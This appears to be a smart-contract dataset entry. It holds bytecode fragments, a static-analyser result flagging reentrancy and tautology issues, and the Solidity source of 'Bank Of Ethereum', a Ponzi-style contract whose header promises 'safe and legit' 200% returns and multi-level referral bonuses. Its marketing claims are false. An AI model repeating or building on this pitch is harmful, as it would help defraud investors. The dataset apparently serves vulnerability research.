00000000000000000000000000000000000000000602082015250565b6000613664602683612f19565b915061366f82613608565b604082019050919050565b6000602082019050818103600083015261369381613657565b9050919050565b7f53656c6c20746178206d757374206265206265747765656e20302520616e642060008201527f3230250000000000000000000000000000000000000000000000000000000000602082015250565b60006136f6602383612f19565b91506137018261369a565b604082019050919050565b60006020820190508181036000830152613725816136e9565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613788602683612f19565b91506137938261372c565b604082019050919050565b600060208201905081810360008301526137b78161377b565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061381a602483612f19565b9150613825826137be565b604082019050919050565b600060208201905081810360008301526138498161380d565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006138ac602283612f19565b91506138b782613850565b604082019050919050565b600060208201905081810360008301526138db8161389f565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061393e602583612f19565b9150613949826138e2565b604082019050919050565b6000602082019050818103600083015261396d81613931565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006139d0602383612f19565b91506139db82613974565b604082019050919050565b600060208201905081810360008301526139ff816139c3565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613a62602983612f19565b9150613a6d82613a06565b604082019050919050565b60006020820190508181036000830152613a9181613a55565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613af4603f83612f19565b9150613aff82613a98565b604082019050919050565b60006020820190508181036000830152613b2381613ae7565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613b60601c83612f19565b9150613b6b82613b2a565b602082019050919050565b60006020820190508181036000830152613b8f81613b53565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613bf2602383612f19565b9150613bfd82613b96565b604082019050919050565b60006020820190508181036000830152613c2181613be5565b9050919050565b6000613c3382612fb8565b9150613c3e83612fb8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613c7357613c7261346c565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613cda602383612f19565b9150613ce582613c7e565b604082019050919050565b60006020820190508181036000830152613d0981613ccd565b9050919050565b6000613d1b82612fb8565b9150613d2683612fb8565b925082821015613d3957613d3861346c565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613da0602a83612f19565b9150613dab82613d44565b604082019050919050565b60006020820190508181036000830152613dcf81613d93565b9050919050565b600081519050613de581612e02565b92915050565b600060208284031215613e0157613e00612d04565b5b6000613e0f84828501613dd6565b91505092915050565b6000819050919050565b6000613e3d613e38613e3384613e18565b613064565b612fb8565b9050919050565b613e4d81613e22565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613e8881612df0565b82525050565b6000613e9a8383613e7f565b60208301905092915050565b6000602082019050919050565b6000613ebe82613e53565b613ec88185613e5e565b9350613ed383613e6f565b8060005b83811015613f04578151613eeb8882613e8e565b9750613ef683613ea6565b925050600181019050613ed7565b5085935050505092915050565b600060a082019050613f2660008301886130de565b613f336020830187613e44565b8181036040830152613f458186613eb3565b9050613f546060830185613192565b613f6160808301846130de565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613fa582612fb8565b9150613fb083612fb8565b925082613fc057613fbf613f6b565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000614001601b83612f19565b915061400c82613fcb565b602082019050919050565b6000602082019050818103600083015261403081613ff4565b9050919050565b600061404282612fb8565b915061404d83612fb8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156140865761408561346c565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006140ed602183612f19565b91506140f882614091565b604082019050919050565b6000602082019050818103600083015261411c816140e0565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204338a3c387acc6308d1ffe5336b1670740eace687f48da6a6db8b6cb321468c764736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
7,276
0x51c29281740880058aB575a64232F404fD9a18C9
/* * * Bank Of Ethereum - investment platform based on ETH blockchain smart-contract technology. Safe and legit! * * ┌───────────────────────────────────────────────────────────────────────┐ * │ Website: https://bankofethereum.org │ * │ │ * │ Telegram Support Account: https://t.me/bankofethereum_support | * │ Telegram Public Group: https://t.me/bankofethereum_group | * │ Telegram News Channel: https://t.me/bankofethereum_news | * | | * | Twitter: https://twitter.com/BankEthereum | * | E-mail: support@bankofethereum.org | * └───────────────────────────────────────────────────────────────────────┘ * * [USAGE INSTRUCTION] * * 1) Connect using ETH browser extension MetaMask or the MetaMask/Coinbase wallet mobile app . * 2) Send any ETH amount (0.05 minimum) using our website invest button. * 3) Wait for your earnings. * 4) Withdraw earnings any time using our website "Withdraw" button. * * [INVESTMENT CONDITIONS] * * - Basic interest rate: +1% every 24 hours (+0.0416% hourly) * - Personal hold-bonus: +0.1% for every 24 hours without withdraw * - Contract total amount bonus: +0.1% for every 100 ETH on platform address balance * * - Minimal deposit: 0.05 ETH, no maximal limit * - Total income: 200% (deposit included) * - Earnings every moment, withdraw any time * * [AFFILIATE PROGRAM] * * Share your referral link with your partners and get additional bonuses. * - 3-level referral commission: 5% - 2% - 0.5% * * [FUNDS DISTRIBUTION] * * - 82.5% Platform main balance, participants payouts * - 8% Advertising and promotion expenses * - 7.5% Affiliate program bonuses * - 2% Support work, technical functioning, administration fee * * ──────────────────────────────────────────────────────────────────────── * * * * */ pragma solidity 0.5.10; contract BankOfEthereum { using SafeMath for uint256; uint256 constant public INVEST_MIN_AMOUNT = 0.05 ether; uint256 constant public BASE_PERCENT = 10; uint256[] public REFERRAL_PERCENTS = [50, 20, 5]; uint256 constant public MARKETING_FEE = 80; uint256 constant public PROJECT_FEE = 20; uint256 constant public PERCENTS_DIVIDER = 1000; uint256 constant public CONTRACT_BALANCE_STEP = 100 ether; uint256 constant public TIME_STEP = 1 days; uint256 public totalUsers; uint256 public totalInvested; uint256 public totalWithdrawn; uint256 public totalDeposits; address payable public marketingAddress; address payable public adminAddress; struct Deposit { uint256 amount; uint256 withdrawn; uint256 start; } struct User { Deposit[] deposits; uint256 checkpoint; address referrer; uint256 bonus; uint256 level1; uint256 level2; uint256 level3; } mapping (address => User) internal users; event Newbie(address user); event NewDeposit(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount); event FeePayed(address indexed user, uint256 totalAmount); constructor(address payable marketingAddr, address payable adminAddr) public { require(!isContract(marketingAddr) && !isContract(adminAddr)); marketingAddress = marketingAddr; adminAddress = adminAddr; } function invest(address referrer) public payable { require(msg.value >= INVEST_MIN_AMOUNT); marketingAddress.transfer(msg.value.mul(MARKETING_FEE).div(PERCENTS_DIVIDER)); adminAddress.transfer(msg.value.mul(PROJECT_FEE).div(PERCENTS_DIVIDER)); emit FeePayed(msg.sender, msg.value.mul(MARKETING_FEE.add(PROJECT_FEE)).div(PERCENTS_DIVIDER)); User storage user = users[msg.sender]; if (user.referrer == address(0) && users[referrer].deposits.length > 0 && referrer != msg.sender) { user.referrer = referrer; } if (user.referrer != address(0)) { address upline = user.referrer; for (uint256 i = 0; i < 3; i++) { if (upline != address(0)) { uint256 amount = msg.value.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER); users[upline].bonus = users[upline].bonus.add(amount); if(i == 0){ users[upline].level1 = users[upline].level1.add(1); } else if(i == 1){ users[upline].level2 = users[upline].level2.add(1); } else if(i == 2){ users[upline].level3 = users[upline].level3.add(1); } emit RefBonus(upline, msg.sender, i, amount); upline = users[upline].referrer; } else break; } } if (user.deposits.length == 0) { user.checkpoint = block.timestamp; totalUsers = totalUsers.add(1); emit Newbie(msg.sender); } user.deposits.push(Deposit(msg.value, 0, block.timestamp)); totalInvested = totalInvested.add(msg.value); totalDeposits = totalDeposits.add(1); emit NewDeposit(msg.sender, msg.value); } function withdraw() public { User storage user = users[msg.sender]; uint256 userPercentRate = getUserPercentRate(msg.sender); uint256 totalAmount; uint256 dividends; for (uint256 i = 0; i < user.deposits.length; i++) { if (user.deposits[i].withdrawn < user.deposits[i].amount.mul(2)) { if (user.deposits[i].start > user.checkpoint) { dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER)) .mul(block.timestamp.sub(user.deposits[i].start)) .div(TIME_STEP); } else { dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER)) .mul(block.timestamp.sub(user.checkpoint)) .div(TIME_STEP); } if (user.deposits[i].withdrawn.add(dividends) > user.deposits[i].amount.mul(2)) { dividends = (user.deposits[i].amount.mul(2)).sub(user.deposits[i].withdrawn); } user.deposits[i].withdrawn = user.deposits[i].withdrawn.add(dividends); /// changing of storage data totalAmount = totalAmount.add(dividends); } } uint256 referralBonus = getUserReferralBonus(msg.sender); if (referralBonus > 0) { totalAmount = totalAmount.add(referralBonus); user.bonus = 0; } require(totalAmount > 0, "User has no dividends"); uint256 contractBalance = address(this).balance; if (contractBalance < totalAmount) { totalAmount = contractBalance; } user.checkpoint = block.timestamp; msg.sender.transfer(totalAmount); totalWithdrawn = totalWithdrawn.add(totalAmount); emit Withdrawn(msg.sender, totalAmount); } function getContractBalance() public view returns (uint256) { return address(this).balance; } function getContractBalanceRate() public view returns (uint256) { uint256 contractBalance = address(this).balance; uint256 contractBalancePercent = contractBalance.div(CONTRACT_BALANCE_STEP); return BASE_PERCENT.add(contractBalancePercent); } function getUserPercentRate(address userAddress) public view returns (uint256) { User storage user = users[userAddress]; uint256 contractBalanceRate = getContractBalanceRate(); if (isActive(userAddress)) { uint256 timeMultiplier = (now.sub(user.checkpoint)).div(TIME_STEP); return contractBalanceRate.add(timeMultiplier); } else { return contractBalanceRate; } } function getUserDividends(address userAddress) public view returns (uint256) { User storage user = users[userAddress]; uint256 userPercentRate = getUserPercentRate(userAddress); uint256 totalDividends; uint256 dividends; for (uint256 i = 0; i < user.deposits.length; i++) { if (user.deposits[i].withdrawn < user.deposits[i].amount.mul(2)) { if (user.deposits[i].start > user.checkpoint) { dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER)) .mul(block.timestamp.sub(user.deposits[i].start)) .div(TIME_STEP); } else { dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER)) .mul(block.timestamp.sub(user.checkpoint)) .div(TIME_STEP); } if (user.deposits[i].withdrawn.add(dividends) > user.deposits[i].amount.mul(2)) { dividends = (user.deposits[i].amount.mul(2)).sub(user.deposits[i].withdrawn); } totalDividends = totalDividends.add(dividends); /// no update of withdrawn because that is view function } } return totalDividends; } function getUserCheckpoint(address userAddress) public view returns(uint256) { return users[userAddress].checkpoint; } function getUserReferrer(address userAddress) public view returns(address) { return users[userAddress].referrer; } function getUserReferralBonus(address userAddress) public view returns(uint256) { return users[userAddress].bonus; } function getUserAvailable(address userAddress) public view returns(uint256) { return getUserReferralBonus(userAddress).add(getUserDividends(userAddress)); } function isActive(address userAddress) public view returns (bool) { User storage user = users[userAddress]; if (user.deposits.length > 0) { if (user.deposits[user.deposits.length-1].withdrawn < user.deposits[user.deposits.length-1].amount.mul(2)) { return true; } } } function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint256, uint256, uint256) { User storage user = users[userAddress]; return (user.deposits[index].amount, user.deposits[index].withdrawn, user.deposits[index].start); } function getUserAmountOfDeposits(address userAddress) public view returns(uint256) { return users[userAddress].deposits.length; } function getUserDownlineCount(address userAddress) public view returns(uint256, uint256, uint256) { return (users[userAddress].level1, users[userAddress].level2, users[userAddress].level3); } function getUserTotalDeposits(address userAddress) public view returns(uint256) { User storage user = users[userAddress]; uint256 amount; for (uint256 i = 0; i < user.deposits.length; i++) { amount = amount.add(user.deposits[i].amount); } return amount; } function getUserTotalWithdrawn(address userAddress) public view returns(uint256) { User storage user = users[userAddress]; uint256 amount; for (uint256 i = 0; i < user.deposits.length; i++) { amount = amount.add(user.deposits[i].withdrawn); } return amount; } function isContract(address addr) internal view returns (bool) { uint size; assembly { size := extcodesize(addr) } return size > 0; } modifier onlyAdmin() { require(msg.sender == adminAddress); _; } modifier onlyProjectLevel() { require( msg.sender == marketingAddress || msg.sender == adminAddress ); _; } function setMarketingAddress( address payable _newMarketingAddress) public onlyProjectLevel { require(_newMarketingAddress != address(0)); marketingAddress = _newMarketingAddress; } function setAdminAddress( address payable _newAdminAddress) public onlyAdmin { require(_newAdminAddress != address(0)); adminAddress = _newAdminAddress; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } }
0x6080604052600436106101e35760003560e01c80636f9fb98a11610102578063bff1f9e111610095578063e85abe0911610064578063e85abe09146109d7578063fb4cb32b14610a3c578063fc6f946814610aa1578063fe758b4914610af8576101e3565b8063bff1f9e11461089f578063c0806b03146108ca578063d7ffca9114610947578063e262113e146109ac576101e3565b80639f8a13d7116100d15780639f8a13d71461074f578063a5ece941146107b8578063a8aeb6c21461080f578063af3e212214610874576101e3565b80636f9fb98a146106435780637d8820971461066e5780637e3abeea14610699578063906e9dd0146106fe576101e3565b806336144c9a1161017a5780635216aeec116101495780635216aeec14610573578063600d20ce1461059e57806362f3765e146105ed5780636aabddee14610618576101e3565b806336144c9a146104755780633ccfd60b1461050657806348d44bd11461051d5780634b31971314610548576101e3565b8063153ab9df116101b6578063153ab9df1461032f5780631b9a26f0146103945780632c1e816d146103f957806332bc298c1461044a576101e3565b806301c234a8146101e857806303a93c0c1461021357806303f9c79314610286578063040a772e146102ca575b600080fd5b3480156101f457600080fd5b506101fd610b23565b6040518082815260200191505060405180910390f35b34801561021f57600080fd5b506102626004803603602081101561023657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b29565b60405180848152602001838152602001828152602001935050505060405180910390f35b6102c86004803603602081101561029c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c04565b005b3480156102d657600080fd5b50610319600480360360208110156102ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611539565b6040518082815260200191505060405180910390f35b34801561033b57600080fd5b5061037e6004803603602081101561035257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061185d565b6040518082815260200191505060405180910390f35b3480156103a057600080fd5b506103e3600480360360208110156103b757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611889565b6040518082815260200191505060405180910390f35b34801561040557600080fd5b506104486004803603602081101561041c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061193f565b005b34801561045657600080fd5b5061045f611a17565b6040518082815260200191505060405180910390f35b34801561048157600080fd5b506104c46004803603602081101561049857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a1e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561051257600080fd5b5061051b611a8a565b005b34801561052957600080fd5b50610532611f8d565b6040518082815260200191505060405180910390f35b34801561055457600080fd5b5061055d611f92565b6040518082815260200191505060405180910390f35b34801561057f57600080fd5b50610588611f98565b6040518082815260200191505060405180910390f35b3480156105aa57600080fd5b506105d7600480360360208110156105c157600080fd5b8101908080359060200190929190505050611f9e565b6040518082815260200191505060405180910390f35b3480156105f957600080fd5b50610602611fbf565b6040518082815260200191505060405180910390f35b34801561062457600080fd5b5061062d611fc4565b6040518082815260200191505060405180910390f35b34801561064f57600080fd5b50610658611fd1565b6040518082815260200191505060405180910390f35b34801561067a57600080fd5b50610683611ff0565b6040518082815260200191505060405180910390f35b3480156106a557600080fd5b506106e8600480360360208110156106bc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ff6565b6040518082815260200191505060405180910390f35b34801561070a57600080fd5b5061074d6004803603602081101561072157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061209e565b005b34801561075b57600080fd5b5061079e6004803603602081101561077257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506121ce565b604051808215151515815260200191505060405180910390f35b3480156107c457600080fd5b506107cd6122a3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561081b57600080fd5b5061085e6004803603602081101561083257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506122c9565b6040518082815260200191505060405180910390f35b34801561088057600080fd5b50610889612318565b6040518082815260200191505060405180910390f35b3480156108ab57600080fd5b506108b461231d565b6040518082815260200191505060405180910390f35b3480156108d657600080fd5b50610923600480360360408110156108ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612323565b60405180848152602001838152602001828152602001935050505060405180910390f35b34801561095357600080fd5b506109966004803603602081101561096a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506123db565b6040518082815260200191505060405180910390f35b3480156109b857600080fd5b506109c1612427565b6040518082815260200191505060405180910390f35b3480156109e357600080fd5b50610a26600480360360208110156109fa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612432565b6040518082815260200191505060405180910390f35b348015610a4857600080fd5b50610a8b60048036036020811015610a5f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061247e565b6040518082815260200191505060405180910390f35b348015610aad57600080fd5b50610ab6612526565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b0457600080fd5b50610b0d61254c565b6040518082815260200191505060405180910390f35b6103e881565b6000806000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040154600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050154600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600601549250925092509193909250565b66b1a2bc2ec50000341015610c1857600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc610c7c6103e8610c6e6050346125a490919063ffffffff16565b61262a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015610ca7573d6000803e3d6000fd5b50600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc610d0c6103e8610cfe6014346125a490919063ffffffff16565b61262a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015610d37573d6000803e3d6000fd5b503373ffffffffffffffffffffffffffffffffffffffff167f2899dc8c12def1caa9accb64257cf2fd9f960f21bb27a560a757eae3c2ec43c1610dab6103e8610d9d610d8e601460506126b990919063ffffffff16565b346125a490919063ffffffff16565b61262a90919063ffffffff16565b6040518082815260200191505060405180910390a26000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610ea857506000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000180549050115b8015610ee057503373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15610f2957818160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600073ffffffffffffffffffffffffffffffffffffffff168160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113ac5760008160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008090505b60038110156113a957600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461139757600061102d6103e861101f6000858154811061100557fe5b9060005260206000200154346125a490919063ffffffff16565b61262a90919063ffffffff16565b905061108481600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301546126b990919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055506000821415611174576111296001600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401546126b990919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401819055506112c6565b600182141561121e576111d36001600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600501546126b990919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600501819055506112c5565b60028214156112c45761127d6001600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600601546126b990919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600601819055505b5b5b813373ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fd41f7e766eebcc7ff42b11ac8691bdf864db4afc0c55e71d629d54edce460d98846040518082815260200191505060405180910390a4600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1692505061139c565b6113a9565b8080600101915050610fb0565b50505b600081600001805490501415611444574281600101819055506113da600180546126b990919063ffffffff16565b6001819055507f9fd565cd14c3c391679eb0cad12a14dcf7534e9d3462bcb9b67a098a9bbbc24a33604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a15b8060000160405180606001604052803481526020016000815260200142815250908060018154018082558091505090600182039060005260206000209060030201600090919290919091506000820151816000015560208201518160010155604082015181600201555050506114c5346002546126b990919063ffffffff16565b6002819055506114e160016004546126b990919063ffffffff16565b6004819055503373ffffffffffffffffffffffffffffffffffffffff167f2cb77763bc1e8490c1a904905c4d74b4269919aca114464f4bb4d911e60de364346040518082815260200191505060405180910390a25050565b600080600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600061158884611889565b905060008060008090505b8460000180549050811015611850576115d660028660000183815481106115b657fe5b9060005260206000209060030201600001546125a490919063ffffffff16565b8560000182815481106115e557fe5b906000526020600020906003020160010154101561184357846001015485600001828154811061161157fe5b90600052602060002090600302016002015411156116d0576116c9620151806116bb61166688600001858154811061164557fe5b9060005260206000209060030201600201544261274190919063ffffffff16565b6116ad6103e861169f8a8c600001898154811061167f57fe5b9060005260206000209060030201600001546125a490919063ffffffff16565b61262a90919063ffffffff16565b6125a490919063ffffffff16565b61262a90919063ffffffff16565b9150611757565b611754620151806117466116f188600101544261274190919063ffffffff16565b6117386103e861172a8a8c600001898154811061170a57fe5b9060005260206000209060030201600001546125a490919063ffffffff16565b61262a90919063ffffffff16565b6125a490919063ffffffff16565b61262a90919063ffffffff16565b91505b61178b600286600001838154811061176b57fe5b9060005260206000209060030201600001546125a490919063ffffffff16565b6117be8387600001848154811061179e57fe5b9060005260206000209060030201600101546126b990919063ffffffff16565b111561182d5761182a8560000182815481106117d657fe5b90600052602060002090600302016001015461181c60028860000185815481106117fc57fe5b9060005260206000209060030201600001546125a490919063ffffffff16565b61274190919063ffffffff16565b91505b61184082846126b990919063ffffffff16565b92505b8080600101915050611593565b5081945050505050919050565b600061188261186b83611539565b61187484612432565b6126b990919063ffffffff16565b9050919050565b600080600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020905060006118d761254c565b90506118e2846121ce565b156119345760006119156201518061190785600101544261274190919063ffffffff16565b61262a90919063ffffffff16565b905061192a81836126b990919063ffffffff16565b935050505061193a565b80925050505b919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461199957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156119d357600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6201518081565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090506000611ad833611889565b905060008060008090505b8460000180549050811015611df757611b266002866000018381548110611b0657fe5b9060005260206000209060030201600001546125a490919063ffffffff16565b856000018281548110611b3557fe5b9060005260206000209060030201600101541015611dea578460010154856000018281548110611b6157fe5b9060005260206000209060030201600201541115611c2057611c1962015180611c0b611bb6886000018581548110611b9557fe5b9060005260206000209060030201600201544261274190919063ffffffff16565b611bfd6103e8611bef8a8c6000018981548110611bcf57fe5b9060005260206000209060030201600001546125a490919063ffffffff16565b61262a90919063ffffffff16565b6125a490919063ffffffff16565b61262a90919063ffffffff16565b9150611ca7565b611ca462015180611c96611c4188600101544261274190919063ffffffff16565b611c886103e8611c7a8a8c6000018981548110611c5a57fe5b9060005260206000209060030201600001546125a490919063ffffffff16565b61262a90919063ffffffff16565b6125a490919063ffffffff16565b61262a90919063ffffffff16565b91505b611cdb6002866000018381548110611cbb57fe5b9060005260206000209060030201600001546125a490919063ffffffff16565b611d0e83876000018481548110611cee57fe5b9060005260206000209060030201600101546126b990919063ffffffff16565b1115611d7d57611d7a856000018281548110611d2657fe5b906000526020600020906003020160010154611d6c6002886000018581548110611d4c57fe5b9060005260206000209060030201600001546125a490919063ffffffff16565b61274190919063ffffffff16565b91505b611db082866000018381548110611d9057fe5b9060005260206000209060030201600101546126b990919063ffffffff16565b856000018281548110611dbf57fe5b906000526020600020906003020160010181905550611de782846126b990919063ffffffff16565b92505b8080600101915050611ae3565b506000611e0333612432565b90506000811115611e2e57611e2181846126b990919063ffffffff16565b9250600085600301819055505b60008311611ea4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f5573657220686173206e6f206469766964656e6473000000000000000000000081525060200191505060405180910390fd5b60003073ffffffffffffffffffffffffffffffffffffffff1631905083811015611ecc578093505b4286600101819055503373ffffffffffffffffffffffffffffffffffffffff166108fc859081150290604051600060405180830381858888f19350505050158015611f1b573d6000803e3d6000fd5b50611f31846003546126b990919063ffffffff16565b6003819055503373ffffffffffffffffffffffffffffffffffffffff167f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5856040518082815260200191505060405180910390a2505050505050565b601481565b60035481565b60025481565b60008181548110611fab57fe5b906000526020600020016000915090505481565b600a81565b68056bc75e2d6310000081565b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b60045481565b600080600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600080600090505b82600001805490508110156120935761208483600001828154811061206357fe5b906000526020600020906003020160000154836126b990919063ffffffff16565b91508080600101915050612042565b508092505050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806121475750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61215057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561218a57600080fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080600760008473ffffffffffffffffff